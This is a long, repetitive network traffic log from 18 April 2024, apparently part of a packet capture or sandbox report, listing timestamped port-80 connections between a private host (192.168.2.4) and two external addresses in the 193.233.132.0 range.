Apr 18, 2024 23:40:23.180708885 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180741072 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.240829945 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.240888119 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.240921974 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.240955114 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.240987062 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241019011 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241051912 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241086006 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241118908 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241159916 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241194963 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241225958 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241255999 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241287947 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241318941 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241349936 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241380930 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241411924 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241444111 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241476059 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241506100 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241538048 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241569042 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241600990 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241632938 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241666079 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241697073 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241728067 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241760015 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241791964 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241822958 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241853952 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241887093 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241918087 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241947889 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.241980076 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242012024 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242187023 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242219925 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242250919 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242283106 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242314100 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242346048 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242377043 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242408037 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242439985 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242472887 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242505074 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242589951 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242620945 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242652893 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242685080 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242716074 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242747068 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242778063 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242908955 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242940903 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.242973089 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243005037 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243036985 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243068933 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243100882 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243133068 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243165016 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243196964 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243227005 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243258953 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243331909 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243362904 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243392944 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243426085 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243457079 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243486881 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243519068 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243550062 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243609905 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243640900 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243673086 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243705034 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243758917 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243793964 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243875980 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243907928 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243940115 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.243972063 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244003057 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244034052 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244065046 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244143963 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244177103 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244208097 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244240046 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244271994 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244303942 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244335890 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244366884 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244422913 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244580030 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244610071 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244641066 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244672060 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244703054 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244734049 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244766951 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244857073 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244889021 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.244987965 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245021105 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245052099 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245084047 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245204926 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245237112 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245269060 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245301008 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245333910 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245363951 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245395899 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245425940 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245456934 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245487928 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245518923 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245548964 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245659113 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245690107 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245721102 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245752096 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245870113 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245903015 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.245986938 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246018887 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246098995 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246130943 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246162891 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246195078 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246226072 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246258020 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246289968 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246320963 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246433020 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246465921 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246495962 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246527910 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246560097 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246591091 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246623993 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246655941 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246686935 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246718884 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246772051 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246804953 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246895075 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246927023 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.246990919 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247176886 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247215033 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247555971 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247587919 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247620106 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247653008 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247668982 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247684002 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247699022 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247714043 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247730017 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247745037 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247760057 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247776031 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247790098 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247806072 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247822046 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247837067 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247852087 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247865915 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247879982 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247895002 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.247977018 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248047113 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248061895 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248076916 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248092890 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248121023 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248136997 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248152018 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248229027 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248244047 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248260021 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248275042 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248308897 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248323917 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248339891 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248419046 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248590946 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248605013 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248620987 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248717070 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248733044 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248748064 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248763084 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248852968 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248867989 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248883009 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248898983 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.248914957 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249001980 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249017954 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249111891 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249126911 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249141932 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249160051 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249221087 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249236107 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249250889 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249341011 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249356031 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249370098 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249522924 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249538898 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249553919 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249569893 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249634981 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249680042 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249694109 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249710083 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249730110 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249743938 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249816895 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249830961 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249845982 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249938965 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.249953985 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250044107 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250058889 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250144958 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250159979 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250174999 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250407934 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250423908 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250437975 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250452995 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250468969 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250483990 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250497103 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250586033 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250601053 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250614882 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250628948 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250643969 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250838995 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250854015 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250869036 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250968933 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250983000 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.250997066 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251013041 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251036882 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251053095 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251122952 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251291990 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251306057 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251321077 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251336098 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251385927 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251399994 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251427889 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251549006 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251564980 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251749992 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251983881 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.251997948 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252012968 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252224922 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252238989 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252254009 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252268076 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252285004 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252299070 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252314091 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252331972 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252346992 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252362013 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252376080 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252465963 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.252480984 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255498886 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255513906 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255600929 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255614996 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255707979 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255851984 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255867004 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.255944967 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256016970 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256031036 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256091118 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256236076 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256249905 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256264925 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256323099 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256337881 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256462097 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256475925 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.256542921 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257004976 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257020950 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257041931 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257055998 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257071018 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257085085 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257098913 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257112026 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257126093 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257356882 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257370949 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257419109 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257591963 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257606030 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257621050 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257663012 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257678032 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257932901 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257957935 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.257981062 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258003950 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258028030 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258050919 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258073092 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258095026 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258117914 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258213997 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258343935 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258384943 CEST	80	49741	193.233.132.56	192.168.2.4
